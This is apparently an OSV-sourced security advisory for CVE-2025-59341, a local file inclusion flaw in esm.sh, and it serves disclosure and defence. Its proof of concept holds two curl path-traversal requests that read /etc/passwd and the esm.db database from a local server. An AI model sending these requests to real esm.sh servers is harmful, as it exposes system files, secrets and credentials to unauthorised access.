---
id: CVE-2025-59341
aliases:
  - GHSA-49pv-gwxp-532r
  - GO-2025-3962
title: esm.sh has File Inclusion issue
summary: esm.sh has File Inclusion issue
severity: high
vendor: esm-dev
product: github.com/esm-dev/esm.sh
ecosystem: go
affected:
  - github.com/esm-dev/esm.sh <= 136
published: '2025-09-17'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:28.013579511Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-49pv-gwxp-532r'
references:
  - url: 'https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-59341'
  - url: >-
      https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45
  - url: 'https://github.com/esm-dev/esm.sh'
  - url: >-
      https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
  - url: 'https://pkg.go.dev/vuln/GO-2025-3962'
tags:
  - osv
  - go
  - exploit-available
epss: 0.01636
epssPercentile: 0.75274
exploits:
  nuclei:
    - CVE-2025-59341
  checkedAt: '2026-09-25T08:20:46.278Z'
exploitAvailable: true
ingestedAt: '2026-09-12T03:13:01.752Z'
---

## Overview

## Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

---

## Proof of Concept

1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`


```json
{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

```

2. Trigger the LFI vulnerability by sending this command below to read a local file

```bash
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
```

<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />


---

## Remediation

Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)

## Affected packages

- `github.com/esm-dev/esm.sh <= 136`

## Remediation

Refer to the advisory for the patched release.